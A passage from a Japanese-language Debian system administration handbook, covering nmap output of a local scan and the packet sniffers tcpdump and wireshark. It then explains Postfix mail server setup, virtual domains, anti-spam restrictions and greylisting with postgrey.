|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
25/tcp  open  smtp    Exim smtpd 4.84
| smtp-commands: mirtuel Hello localhost [127.0.0.1], SIZE 52428800, 8BITMIME,
    ➥ PIPELINING, HELP,
|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          36568/tcp  status
|_  100024  1          39172/udp  status
Device type: general purpose
Running: Linux 3.X
```

```
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.7 - 3.15
Network Distance: 0 hops
Service Info: Host: mirtuel; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at http://nmap.
    ➥ org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 seconds
```

予想通り、SSH と Exim4 アプリケーションが表示されます。すべてのアプリケーションがすべての IP アドレスをリッスンしているわけではない点に注意してください。すなわち、Exim4 は lo ループバックインターフェースからのみアクセスできますから、localhost の解析にのみ表示され mirtuel (これは同じマシンの eth0 インターフェースに対応付けられています) をスキャンした時には表示されません。

10.8.3. スニファ、tcpdump と wireshark

しばしば実際にワイヤを行き来する情報をパケットごとに見る必要がある場合があります。この際に使われるツールは「フレームアナライザ」と呼ばれ、**スニファ**としても広く知られています。この種のツールは指定したネットワークに到達したすべてのパケットを観察し、ユーザにわかりやすい方法でパケットを表示します。

ネットワークトラフィック解析分野における由緒あるツールが tcpdump です。tcpdump は広範囲のプラットフォームで利用できる標準的なツールです。tcpdump を使うと多くの種類のネットワークトラフィックをキャプチャできますが、tcpdump のトラフィックの表現は決してわかりやすいものではありません。このため tcpdump に関しては詳しく説明しません。

より最近の (そしてより現代的な) ツールである wireshark (**wireshark** パッケージに含まれます) はキャプチャされたパケットの解析を単純化する多くのデコーディングモジュールのおかげでネットワークトラフィック解析分野における新しい標準的なツールになりつつあります。パケットはプロトコル層に基づいてグラフィカルに表示されます。wireshark を使うと、ユーザはあるパケットに関わるすべてのプロトコルを可視化することが可能です。たとえば、HTTP リクエストを含むパケットに対して、wireshark は物理層、イーサネット層、IP パケット情報、TCP 接続パラメータ、最後に HTTP リクエスト自身に関連する情報を別々に表示します。

図 10.1　wireshark ネットワークトラフィックアナライザ

上の例では、SSH を通じて移動するパケットを (!tcp.port == 22 フィルタを使って) 除去しています。ここで詳細を表示されているパケットは HTTP 層で作られたものです。

TIP

グラフィカルインターフェースを持たない wireshark、tshark

グラフィカルインターフェースを実行できない場合や何らかの理由で実行したくない場合に備えて、wireshark のテキスト版 tshark (**tshark** パッケージに分割されています) が存在します。キャプチャとデコード機能のほとんどを利用できますが、グラフィカルインターフェースがないことでプログラムとのやり取りが制限されます (たとえば、パケットがキャプチャされた後にフィルタをかけたり、特定の TCP 接続を追跡したりすることが不可能です)。しかし tshark を足掛かりとして使うことが可能です。さらなる操作が必要だったりグラフィカルインターフェースが必要な操作を行う場合、パケットをファイルに保存してそのファイルを別のマシンで実行されているグラフィカルな wireshark で読み込むことが可能です。

キーワード

Postfix
Apache
NFS
Samba
Squid
OpenLDAP
SIP

章

11

ネットワークサービス、Postfix、Apache、NFS、Samba、Squid、LDAP、SIP、XMPP、TURN

目次

メールサーバ 252　ウェブサーバ (HTTP) 267　FTP ファイルサーバ 275　NFS ファイルサーバ 276
Samba を使った Windows 共有のセットアップ 278　HTTP/FTP プロキシ 282　LDAP ディレクトリ 283
リアルタイムコミュニケーションサービス 291

ネットワークサービスはユーザが毎日の仕事で直接使用するプログラムです。ネットワークサービスは情報システムの氷山の一角で、この章ではネットワークサービスに注目します。そして、水面下に隠された部分は既に説明したインフラに依存しています。
多くの現代的なネットワークサービスは信頼性と安全性を確保して運用するために暗号化技術を必要としています。特に公開インターネットでは暗号化技術が必要不可欠です。X.509 証明書 (SSL 証明書および TLS 証明書とも呼ばれる場合もあります) は暗号化という目的を果たす際に最もよく使われています。特定のドメインに対する証明書はこの章で紹介するサービス間で共有される場合が多いです。

11.1. メールサーバ

Falcot Corp の管理者は信頼性と設定の容易さから電子メールサーバに Postfix を選びました。実際、Postfix の設計によりそれぞれのタスクは必要な最低限のパーミッションを持つ単独のプロセスとして実装されることが強制されます。この制限によりセキュリティ問題を大きく軽減させることが可能です。

ALTERNATIVE

Exim4 サーバ

Debian はデフォルト電子メールサーバとして Exim4 を使います (そのため Exim4 は Debian の初回インストール時に導入されます)。Exim4 の設定は別のパッケージ **exim4-config** で提供され、Debconf を使った一連の質問に答えることで自動的にカスタマイズされます。この質問は **postfix** パッケージの行う質問とよく似ています。

設定は単独の設定ファイル (`/etc/exim4/exim4.conf.template`) か `/etc/exim4/conf.d/` の下に保存された数多くの設定ファイルを通じて行われます。どちらの場合も、`update-exim4.conf` が設定ファイルをテンプレートとして利用して `/var/lib/exim4/config.autogenerated` を生成します。実際 Exim4 が使うファイルが `/var/lib/exim4/config.autogenerated` です。このメカニズムのおかげで、debconf を通じて Exim に設定した値 (`/etc/exim4/update-exim4.conf.conf` に保存されている値) は管理者や他のパッケージがデフォルトの Exim 設定を変更した場合でも Exim の設定ファイルに反映されます。

Exim4 設定ファイルの構文は特殊で、構文の学習曲線も特殊です。しかしながら、その特殊性を理解すれば、Exim4 は数百ページにおよぶ文書からも明らかな通りとても完全で強力な電子メールサーバです。

➨ `http://www.exim.org/docs.html`

11.1.1. Postfix のインストール

postfix パッケージには主要な SMTP デーモンが含まれます。別のパッケージ (たとえば **postfix-ldap** と **postfix-pgsql** など) は特別な機能を Postfix に追加します。これらのパッケージはマッピングデータベースへのアクセスを可能にします。これらのパッケージは、それが必要と分かっている場合を除いて、インストールするべきではありません。

BACK TO BASICS

SMTP

メールサーバは SMTP (**Simple Mail Transfer Protocol**) を使ってメールを交換したり配送したりします。

Debconf はパッケージのインストール中にいくつかの質問を行います。これに答えることで、`/etc/postfix/main.cf` 設定ファイルの最初のバージョンが作成されます。

最初の質問はセットアップの形式に関するものです。インターネットに接続されたサーバに関連するのは提案された選択肢のうちの 2 種類だけです。「インターネットサイト」と「スマートホスト付きインターネット」です。「インターネットサイト」は入って来る電子メールを受け取り、外に出る電子メールを直接受信者に送信するサーバに適します。つまり Falcot Corp の場合にうまく適合します。「スマートホスト付きインターネット」は入って来る電子メールを通常通り受け取り、外に出る電子メールを直接受信者のサーバに送信するのではなく中間 SMTP サーバ「スマートホスト」を介して送信するサーバに適します。この選択肢は主に動的 IP アドレスを持つマシンで役に立ちます。なぜなら、多くの電子メールサーバは動的 IP アドレスを持つホストから配送されたメッセージを拒否するからです。この選択肢を選んだ場合、通常スマートホストに自分の ISP の SMTP サーバを設定します。ISP の SMTP サーバは自分の顧客からの電子メールを受け入れ、

それを適切に転送するよう常に設定されています。この (スマートホストを使う) 選択肢はさらにインターネットから切断される可能性のあるサーバにも適しています。なぜなら、後から再試行する必要のある未配送メッセージのキューを管理する必要がなくなるからです。

VOCABULARY
ISP

ISP とは「Internet Service Provider」の頭字語です。ISP は通常営利企業で、インターネット接続と関連する基本的サービス (電子メール、ニュースなど) を提供します。

2 番目の質問はマシンのフルネームに関するもので、これはローカルユーザの電子メールアドレスを生成するために使われます。従って、マシンのフルネームとはアットマーク (「@」) のすぐ後ろに付けられるものです。Falcot の場合、この質問には mail.falcot.com と答えるべきです。デフォルトで聞かれる質問は以上ですが、Falcot にとってこの状態の Postfix はまだ十分に設定されていません。このため、管理者は `dpkg-reconfigure postfix` を実行してさらに多くのパラメータをカスタマイズします。

`dpkg-reconfigure postfix` を実行したことで追加的に行われる質問の 1 つに、このマシンに関連するすべてのドメイン名を尋ねる質問があります。デフォルトで挙げられるドメイン名のリストには、マシンのフルネームといくつかの localhost の同義語が含まれていますが、主要なドメイン名である falcot.com を手作業で追加する必要があります。より一般的に言えば、この質問の回答には、通常 MX サーバを担当しているマシンに割り当てたすべてのドメイン名を含めるべきです。さらに言い換えれば、DNS の MX レコードを参照した際に電子メールを受け入れるサーバとして登録されているすべてのドメイン名を含めるべきです。この情報は最終的に Postfix 主要設定ファイル `/etc/postfix/main.cf` の mydestination 変数に設定されます。

図 11.1　メール送信における DNS MX レコードの役割

EXTRA
MX レコードの問い合わせ

宛先アドレスの DNS に MX レコードが含まれない場合、電子メールサーバは宛先アドレスの A レコード (IPv6 の場合 AAAA レコード) に送信することを試みます。

インストール中に、このサーバが電子メールの送信要求を受け入れるネットワークを尋ねられる場合があります。デフォルトの設定で、Postfix はマシン自身からの電子メールの送信要求だけを受け入れます。従って、通常はローカルネットワークからの送信要求も受け入れるように設定します。Falcot Corp の管理者はデフォルトの回答に 192.168.0.0/16 を追加しました。この質問が尋ねられなければ、以下の例に示す通り、設定ファイル中の関連する変数 mynetworks にローカルネットワークを追加します。

ローカル電子メールの配送に procmail を使うことも可能です。procmail を使うことで、ユーザは ~/.procmailrc ファイルに書かれたルールに従って入って来る電子メールを仕分けすることが可能になります。

最初のステップの後、以下の設定ファイルが得られます。さらに次の節では、いくつかの特別な機能を追加するための足掛かりとしてこれを使います。

例 11.1　最初の /etc/postfix/main.cf ファイル

```
# より完全なコメント付きの設定ファイルは /usr/share/postfix/main.cf.dist を参照してください


# Debian 固有の設定方法になりますが、myorigin にファイル名を指定した場合、
# 指定ファイルの最初の行を値として使用します。Debian のデフォルトは
# /etc/mailname です。
#myorigin = /etc/mailname

smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)
biff = no

# .domain の追加は MUA が行います。
append_dot_mydomain = no

# "delayed mail" 警告メールを送信するには以下の行を有効化してください
#delay_warning_time = 4h

readme_directory = no

# TLS パラメータ
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
smtpd_use_tls=yes
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache

# smtp クライアントで SSL を有効化するための情報を見るには postfix-doc
# パッケージに含まれる /usr/share/doc/postfix/TLS_README.gz を参照してください。

smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated
    ➥ defer_unauth_destination
myhostname = mail.falcot.com
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
```

```
mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost
relayhost =
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16
mailbox_command = procmail -a "$EXTENSION"
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = all
```

SECURITY

Snake oil SSL 証明書

snake oil 証明書 (昔に悪徳医者によって販売された**いんちき**「薬」のようなもの) には全く価値がありません。すなわち、**snake oil** 証明書を信頼してはいけません。なぜなら、**snake oil** 証明書は自動生成された自己署名証明書に過ぎないからです。しかしながら、**snake oil** 証明書は交換される情報のプライバシーを向上させるという意味では有用です。

一般に **snake oil** 証明書の使用はテスト目的に限り、通常のサービスでは真の証明書を使うべきです。証明書の作成手順は第 10.2.1.1 節「公開鍵基盤、**easy-rsa**」224 ページで説明されています。

11.1.2. 仮想ドメインの設定

メールサーバは主要ドメインに加えて他のドメイン宛の電子メールを受け取ることが可能です。これらは仮想ドメインとして知られています。仮想ドメインを使う場合のほとんどは、電子メールが永久的にローカルユーザに配送されない場合です。Postfix は仮想ドメインを取り扱う 2 種類の興味深い機能を提供します。

CAUTION

仮想ドメインとカノニカルドメイン

`mydestination` 変数の中で仮想ドメインを参照してはいけません。すなわち `mydestination` 変数に指定できるのはマシンとローカルユーザに直接的に関連付けられた「カノニカル」ドメインの名前だけです。

仮想エイリアスドメイン

仮想エイリアスドメインにはエイリアスだけが含まれます。たとえば、電子メールを他のアドレスに転送するだけのアドレスがこれに該当します。

仮想エイリアスドメインを有効化するには、virtual_alias_domains 変数にそのドメイン名を追加し、virtual_alias_maps 変数でアドレスマッピングファイルを参照します。

例 11.2　/etc/postfix/main.cf ファイルに追加する指示文

```
virtual_alias_domains = falcotsbrand.com
virtual_alias_maps = hash:/etc/postfix/virtual
```

`/etc/postfix/virtual` ファイルはかなり直接的な構文で対応付けを記述します。すなわち、各行には空白で分割された 2 つのフィールドが含まれます。最初のフィールドは仮想エイリアス名、2 番目のフィールドは

リダイレクトする電子メールアドレスのリストです。@domain.com 特殊構文を使うことで、そのドメインに含まれるすべての残りの別名をカバーすることも可能です。

例 11.3　/etc/postfix/virtual ファイルの例

```
webmaster@falcotsbrand.com  jean@falcot.com
contact@falcotsbrand.com    laure@falcot.com, sophie@falcot.com
# 以下の仮想エイリアスは一般的なエイリアスです。このファイルで
# 指定されていない falcotsbrand.com ドメインに含まれるすべての
# アドレスを指定したことになります。これらのアドレス宛の電子メール
# は falcot.com ドメインに存在する同名のユーザに転送されます。
@falcotsbrand.com           @falcot.com
```

仮想メールボックスドメイン

CAUTION
統合された仮想ドメイン?

Postfix は virtual_alias_domains と virtual_mailbox_domains で同じドメインを使うことを許しません。しかしながら、virtual_mailbox_domains の各ドメインは明示せずとも virtual_alias_domains に含まれます。そのおかげで、仮想ドメインの中でエイリアスとメールボックスを混在させることが可能になります。

仮想メールボックスドメイン宛のメッセージはローカルシステムユーザに割り当てられていないメールボックスに保存されます。

仮想メールボックスドメインを有効化するには、virtual_mailbox_domains 変数にそのドメイン名を追加し、virtual_mailbox_maps 変数でメールボックスマッピングファイルを参照します。virtual_mailbox_base パラメータには、メールボックスが保存されるディレクトリを指定します。

virtual_uid_maps (および virtual_gid_maps) パラメータは電子メールアドレスとそれに対応するメールボックスを「所有する」システムユーザ (およびグループ) の対応関係を含むファイルを参照します。すべてのメールボックスを同じ所有者とグループによって所有されるようにするには static:5000 構文を使って固定された UID/GID (ここでは 5000) を割り当てるようにします。

例 11.4　/etc/postfix/main.cf ファイルに追加する指示文

```
virtual_mailbox_domains = falcot.org
virtual_mailbox_maps = hash:/etc/postfix/vmailbox
virtual_mailbox_base = /var/mail/vhosts
```

繰り返しになりますが、/etc/postfix/vmailbox ファイルの構文はかなり直接的です。つまり、空白で分けられた 2 種類のフィールドで対応関係を表現します。最初のフィールドは仮想ドメインの 1 つに属する電子メールアドレスで、2 番目のフィールドは関連するメールボックスの場所です (これは **virtual_mailbox_base** 以下から見た相対ディレクトリパスを指定します)。メールボックスの名前がスラッシュ (/) で終わっていた場合、電子メールは **maildir** フォーマットで保存されます。一方、そうでなければ伝統的な **mbox** フォーマットで保存されます。**maildir** フォーマットはメールボックスを保存するためにディレクトリ全体を使い、そ

れぞれのメッセージは 1 つのファイルとして保存されます。これに対して、**mbox** フォーマットでは、メールボックス全体が 1 つのファイルに保存されます。「From 」(From の後に 1 つの空白) で始まる行が新しいメッセージの始まる目印です。

例 11.5　/etc/postfix/vmailbox ファイル

```
# Jean 宛の電子メールは専用ディレクトリ内の 1 ファイルを
# 1 メールに対応付ける maildir フォーマットで保存されます
jean@falcot.org falcot.org/jean/
# Sophie 宛の電子メールは 1 ファイルにすべてのメールを
# 連結する伝統的な "mbox" ファイルに保存されます
sophie@falcot.org falcot.org/sophie
```

11.1.3. 受信と送信の制限

迷惑メール (**スパム**) の数が増加したことにより、サーバが受け入れる電子メールの判断基準をますます厳しくすることが要求されるようになっています。この節では Postfix が備えるいくつかの戦略を紹介します。

CULTURE

スパム問題

「スパム」は一般的な用語で、電子メールボックスを満杯にするすべての迷惑メール (UCE としても知られています) を指す場合に使われます。そしてスパムを送信する悪人はスパマーとして知られています。スパマーは自分のやっている迷惑行為にほとんど関心がありません。なぜなら、電子メールを送信する費用はとても安く、受信者の内とても少ない割合がスパム行為の提供物に魅力を感じて送信コストより多くのお金を生むからです。スパム行為はほとんど自動化されています。公開している電子メールアドレス (たとえばウェブフォーラム、メーリングリストのアーカイブ、ブログなどに載せられているメールアドレス) はスパマーのロボットによって発見され、迷惑メッセージを絶えず送りつけられます。

すべてのシステム管理者はスパムフィルタを使ってこの迷惑行為に立ち向かうことを試みます。しかし、もちろんスパマーはスパムフィルタを対処するように調整を続けます。一部のスパマーはさまざまな犯罪組織によりワームに感染させられたマシンのネットワークを借りるかもしれません。最近の統計によればインターネット上を流れるすべての電子メールの 95% 超がスパムであると推定されています!

IP に基づくアクセス制限

smtpd_client_restrictions 指示文を使うことで、電子メールサーバと通信することを許すマシンを制御することが可能です。

例 11.6　クライアントアドレスに基づく制限

```
smtpd_client_restrictions = permit_mynetworks,
    warn_if_reject reject_unknown_client,
    check_client_access hash:/etc/postfix/access_clientip,
    reject_rbl_client sbl-xbl.spamhaus.org,
    reject_rbl_client list.dsbl.org
```

上に挙げた例のように、変数に複数のルールのリストを設定する場合、これらのルールは最初から最後まで順番に評価されます。それぞれのルールはメッセージを受け入れたり、拒否したり、次のルールに決定を任せたりすることが可能です。その結果、順番が重要になります。2 つのルールを入れ替えるだけで挙動が全く違うものになる場合があります。

最初のルールとして使われている permit_mynetworks 指示文により、ローカルネットワーク (**mynetworks** 設定変数によって定義されています) 内のマシンからのすべての電子メールを受け入れるようになります。

reject_unknown_client 指示文により、完全に適切な DNS 設定のないマシンからの電子メールを通常拒否するようになります。ここで適切な設定とは、IP アドレスが名前に解決でき、その名前が同じ IP アドレスに解決できることを意味しています。この基準は厳しすぎる場合が多いでしょう。なぜなら、多くの電子メールサーバは IP アドレスに対応する逆引き DNS を持っていないからです。このため、Falcot の管理者は warn_if_reject 修飾子を reject_unknown_client 指示文の前に置きました。warn_if_reject 修飾子を付けることで、拒否するのではなく警告をログに記録するようになります。管理者は、このルールが実際強制された場合に拒否されるかもしれないメッセージの数に目を光らせ、後から十分な情報に基づいてこのルールを強制するか否かを決断することが可能です。

TIP

access テーブル

管理者は送信者、IP アドレス、許可および拒否ホスト名を組み合わせたテーブルを作成し、制限基準としてこれを使うことが可能です。これらのテーブルは `/usr/share/doc/postfix-doc/examples/access.gz` ファイルを展開したコピーを使って作成することも可能です。このひな形には、説明がコメントとして書かれており、それぞれのテーブルがその構文を説明しています。

`/etc/postfix/access_clientip` テーブルは IP アドレスとネットワーク、`/etc/postfix/access_helo` テーブルはドメイン名、`/etc/postfix/access_sender` テーブルは送信者の電子メールアドレスをリストしています。これらのファイルを変更した場合、その後に必ず `postmap /etc/postfix/`**`file`** コマンドを使ってファイルをハッシュテーブル (高速アクセスに最適化されたフォーマット) に変換する必要があります。

check_client_access 指示文を使うことで、管理者は `/etc/postfix/access_clientip` ファイルに保存された電子メールサーバのブラックリストとホワイトリストを設定することが可能になります。ホワイトリストに含まれるサーバは信頼され、このサーバから来る電子メールは以降のフィルタリングルールを適用されません。

reject_rbl_client 指示文を使うことで、指定したブラックリストに含まれるサーバからのメッセージを拒否するようになります。RBL は **Remote Black List** の頭字語です。ブラックリストは複数存在しますが、どのブラックリストにもスパマーが電子メールを中継するために使う下手に設定されたサーバ、ワームやウイルスに感染したマシンのような本来の意図と異なりメール中継させられているサーバがリストされています。

TIP

ホワイトリストと RBL

ブラックリストには過去に異常が発生した正当なサーバが含まれることもあります。この場合、そのようなサーバからのすべての電子メールは拒否されます。これを受け入れるには `/etc/postfix/access_clientip` によって定義されたホワイトリストの中にそのサーバをリストするしかありません。

このため、よく考えた上で、通常電子メールを受け取るような信頼できるサーバはすべてホワイトリストの中に含めることを推奨します。

EHLO または HELO コマンドの妥当性確認

SMTP でメールを送信するには、最初にサーバへ HELO (または EHLO) の後に送信元の名前を付けたコマンドを送ります。送信元の名前の妥当性を確認することは興味深いです。

例 11.7　EHLO の引数に与えられる名前の制限

```
smtpd_helo_restrictions = permit_mynetworks,
    reject_invalid_hostname,
    check_helo_access hash:/etc/postfix/access_helo,
    reject_non_fqdn_hostname,
    warn_if_reject reject_unknown_hostname
```

最初の permit_mynetworks 指示文を使うことで、ローカルネットワーク上のすべてのマシンならば HELO コマンドの引数にどのような名前を使っても良いことになります。これは重要です。なぜなら、一部の電子メールプログラムは SMTP プロトコルのこの部分を十分適切に尊重せず HELO の引数に無意味な名前を使うからです。

reject_invalid_hostname ルールを使うことで、EHLO で申告されたホスト名が構文的に不正な電子メールを拒否するようになります。reject_non_fqdn_hostname ルールを使うことで、申告されたホスト名が完全修飾ドメイン名 (ホスト名まで含むドメイン名) でないメッセージを拒否するようになります。reject_unknown_hostname ルールを使うことで、申告された名前が DNS に存在しないメッセージを拒否するようになります。reject_unknown_hostname ルールを適用すると数多くの電子メールが拒否されることになるため、管理者は warn_if_reject 修飾子を付けて警告するだけにしています。管理者は reject_unknown_hostname ルールの結果を調査した後に、最後の段階で warn_if_reject 修飾子を削除するか判断します。

permit_mynetworks をルール群の先頭で使うと、面白い副作用があります。すなわち、それ以降のルールがローカルネットワークの外のホストにのみ適用されるようになります。これを使うことで、自分を falcot.com の一部と申告するすべてのホストをブラックリスト化できます。これを行うには、たとえば falcot.com REJECT You are not in our network! のような行を `/etc/postfix/access_helo` ファイルに追加します。

申告された送信者アドレスに基づく受け入れおよび拒否

各メッセージには送信者アドレスが必要です。送信者アドレスは SMTP プロトコルの MAIL FROM コマンドで申告されます。繰り返しになりますが、さまざまな異なる方法で送信者アドレスの有効性を判断します。

例 11.8　送信者アドレスの確認

```
smtpd_sender_restrictions =
    check_sender_access hash:/etc/postfix/access_sender,
    reject_unknown_sender_domain, reject_unlisted_sender,
    reject_non_fqdn_sender
```

check_sender_access ルールを使うことで、/etc/postfix/access_sender テーブルで指定した一部の送信者を特別扱いすることが可能です。このルールは一部の送信者をホワイトリストやブラックリストに入れることを意味します。

reject_unknown_sender_domain ルールを使うことで、送信者アドレスに適切なドメインが含まれることを強制することが可能です。なぜなら、適切なアドレスならば必ず適切なドメインを含むからです。reject_unlisted_sender ルールを使うことで、アドレスが存在しないローカル送信者を拒否します。さらに reject_unlisted_sender ルールを使うことで、falcot.com ドメイン内の不正なアドレスから電子メールが送信されること避けることが可能になり、joe.bloggs@falcot.com などのアドレスが本当に存在する場合のみそのアドレスから送信されるメッセージを受け入れるようになります。

最後に、reject_non_fqdn_sender ルールを使うことで、完全修飾ドメイン名を持たないアドレスから送信されたと称する電子メールを拒否します。具体的には、user@machine からの電子メールを拒否します。すなわち、送信者アドレスは必ず user@machine.example.com または user@example.com の形で申告されなければいけないということです。

受信者アドレスに基づく受け入れおよび拒否

各メッセージには少なくとも 1 つの受信者アドレスが必要です。受信者アドレスは SMTP プロトコルの RCPT TO コマンドで申告されます。送信者アドレスに対して行った確認よりも関係性は低いとは言うものの、受信者アドレスの正当性を確認することは当然です。

例 11.9　受信者アドレスの確認

```
smtpd_recipient_restrictions = permit_mynetworks,
    reject_unauth_destination, reject_unlisted_recipient,
    reject_non_fqdn_recipient
```

reject_unauth_destination は基本的なルールで、受け入れ要求のあったメッセージが自分の管理するユーザ宛であることを確認します。すなわち、このサーバにないアドレス宛のメッセージを拒否するということです。このルールを指定しなかった場合、サーバがスパマーによって迷惑メールを送信するための第三者中継サーバとして使われる可能性が出てきます。このため reject_unauth_destination ルールは必須で、ルールリストの先頭に近い位置に置くのが最良です。そうすれば、メッセージの宛先をチェックする前に、他のルールがそのメッセージの受け入れを許可することを避けられます。

reject_unlisted_recipient ルールを使うことで、存在しないローカルユーザ宛のメッセージを拒否するようになります。これは道理に適ったルールです。最後に、reject_non_fqdn_recipient ルールを使うことで、完全修飾ドメイン名でないアドレスを拒否するようになります。さらに reject_non_fqdn_recipient ルールを使った場合、jean や jean@machine 宛の電子メールは送信できず、その代わりに jean@machine.falcot.com や jean@falcot.com などの完全なアドレスを使うことが要求されます。

DATA コマンドに関連付けられた制限

SMTP の DATA コマンドはメッセージ内容の前に送信されます。DATA コマンドの後に送信されるメッセージ内容はさておき、厳密な意味では DATA コマンドはいかなる情報も提供しません。とは言っても、確認することは可能です。

例 11.10　DATA の確認

```
smtpd_data_restrictions = reject_unauth_pipelining
```

reject_unauth_pipelining 指示文を使うことで、1 つ前に送信されたコマンドに応答する前に送信者が次のコマンドを送ったメッセージを拒否するようになります。この防御はスパマーロボットの使う一般的な最適化に対抗するものです。なぜなら、スパマーはサーバからの応答の結果を気にせず、可能な限り短い時間で可能な限り大量の電子メールを送信することだけに注目しているからです。

拒否応答の送信段階

上のコマンドを使うことで SMTP 交換のさまざまな段階で情報が検査されるにも関わらず、Postfix が実際の拒否を送信するのは RCPT TO コマンドに対する応答の段階です。

これは不正な EHLO コマンドが原因でメッセージを拒否する場合でも、Postfix はメッセージの送信者と受信者を知った後に拒否応答を送信することを意味しています。こうすることで、すぐにトランザクションを拒否するよりも明確なログを残すことが可能です。加えて、多くの SMTP クライアントはトランザクションの最初の方の SMTP コマンドの失敗を予期していませんから、RCPT TO の後に拒否応答を返したとしても問題になることは少ないです。

こうすることによる最後の利点は SMTP 交換のさまざまなステージの間にやり取りした情報を総合的に検討することが可能であるという点です。これにより、パーミッションをきめ細かく調整することが可能です。たとえば、ローカル送信者のふりをする外部接続を拒否することなどが可能です。

メッセージ内容に基づくフィルタリング

メッセージ内容を確認することにより、妥当性確認と制限システムが完成します。Postfix は電子メール本文や電子メールヘッダの内容に対して確認を適用し、その妥当性を識別することが可能です。

例 11.11　内容に基づくフィルタの有効化

```
header_checks = regexp:/etc/postfix/header_checks
body_checks = regexp:/etc/postfix/body_checks
```

どちらのファイルにも、正規表現 (**regexp** または **regex** としても知られます) のリストおよび、電子メールヘッダ (または本文) がその正規表現にマッチする場合に実行する動作の対応リストが含まれます。

QUICK LOOK

正規表現テーブル

/usr/share/doc/postfix-doc/examples/header_checks.gz ファイルには多くの説明的なコメントが含まれます。またこのファイルを /etc/postfix/header_checks と /etc/postfix/body_checks ファイルの足掛かりとして使うことも可能です。

例 11.12　/etc/postfix/header_checks ファイルの例

```
/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane)
/^Subject: *Your email contains VIRUSES/ DISCARD virus notification
```

BACK TO BASICS

正規表現

正規表現 (**regexp** または **regex** のように略されます) という用語は内容の説明や文字列の構造を表現する一般的な記法です。特別な文字を使って選択肢 (たとえば、foo|bar は「foo」または「bar」にマッチします)、許容する文字 (たとえば、[0-9] は任意の数字を意味し、単独のドット . は任意の文字を意味します)、数量 (s? は s または空文字列にマッチします。言い換えれば s が 0 または 1 回出現したらマッチします。s+ は 1 つかそれ以上の連続する s 文字にマッチします) を表現します。丸括弧を使うことで検索結果のグループ化が可能です。

正規表現の正確な構文は正規表現を取り扱うツールに依存しますが、基本的な機能は似ています。

➨ http://en.wikipedia.org/wiki/Regular_expression

最初の正規表現は電子メールソフトウェアに関するヘッダを確認します。そして GOTO Sarbacane (大量の電子メールを送信するソフトウェア) が見つかったら、メッセージを拒否します。2 番目の正規表現はメッセージの件名を操作します。そしてメッセージの件名にウイルス通知が含まれる場合、そのメッセージを拒否しない代わりにすぐに捨てます。

これらのフィルタを使うことは諸刃の剣です。なぜなら、一般的過ぎるルールを設定すれば結果的に適切なメールを失うことになるからです。そのような場合、メッセージが失われるだけでなく、送信者は望まない (そして煩い) エラーメッセージを受け取ることになるでしょう。

11.1.4. **greylisting** の設定

「greylisting」はフィルタリング技術です。「greylisting」を使うことで、最初にメッセージを一時的なエラーコードとともに拒否し、少しの遅延の後に何回か試行すれば許可するというような挙動が可能です。「greylisting」は特にワームとウイルスに侵された数多くのマシンが送信するスパムに対して効果的です。なぜなら、ワームやウイルスは完全な SMTP エージェントとして振る舞うことはほとんどない (エラーコードを確認して失敗したメッセージを後から再試行することはほとんどない) ですし、特に収集されたアドレスのほとんどは実際のところ無価値なアドレスであるという点を考慮すると、再試行は時間の無駄にしかならないからです。

Postfix それ自身は greylisting 機能を提供しませんが、あるメッセージを受け入れるか拒否するかの決定を外部プログラムに委任する機能を提供します。**postgrey** パッケージには greylisting 機能を提供するプログラムが含まれ、このプログラムはアクセスポリシー委任サービスへのインターフェースとして設計されています。

postgrey がインストールされると、postgrey はデーモンとして実行され、ポート 10023 番をリッスンします。この後 Postfix の設定に check_policy_service ルールを追加することで、Postfix は postgrey デーモンを使うようになります。

```
smtpd_recipient_restrictions = permit_mynetworks,
    [...]
    check_policy_service inet:127.0.0.1:10023
```

Postfix はルールセットの中にあるこのルールに到達したら、postgrey デーモンに接続し、対応するメッセージに関する情報をデーモンに送信します。Postgrey は IP アドレス/送信者/受信者の三つぞろいを考慮し、同じ三つぞろいが最近データベースに登録されたか否かをデータベースで確認します。最近登録されていた場合、Postgrey はメッセージを受け入れるべきであると応答します。さらに、最近登録されていなかった場合、Postgrey はメッセージを一時的に拒否するべきであると応答し、三つぞろいをデータベースに登録します。

greylisting の主な不都合は正当なメッセージの配送が遅れる点です。この欠点が許容できない場合もあります。さらに、送信するメールのほとんどが正当な場合、greylisting はサーバの負荷を増加させます。

IN PRACTICE

greylisting の欠点

理論上 greylisting はある送信者からある受信者に送信される最初のメールだけを対象にしており、greylisting による典型的な遅延時間はほぼ数分程度です。しかしながら、実際は少し違います。一部の大きな ISP は複数の SMTP サーバを運用します。このようなサーバ群からメッセージを送信することを考えます。1 回目の送信要求を出すサーバはその送信要求を拒否されますが、2 回目の送信要求を出すサーバは 1 回目のサーバと違う可能性があります。これが起きた場合、2 回目の送信要求を出すサーバは greylisting のおかげでもう一度一時的なエラーメッセージを受け取ります。同様に、3 回目の送信要求を出すサーバが既に受信側の greylisting データベースに登録済みのサーバに一致するのには数時間かかる可能性があります。なぜなら、通常 SMTP サーバは再試行が失敗した場合に遅延時間を増やすからです。

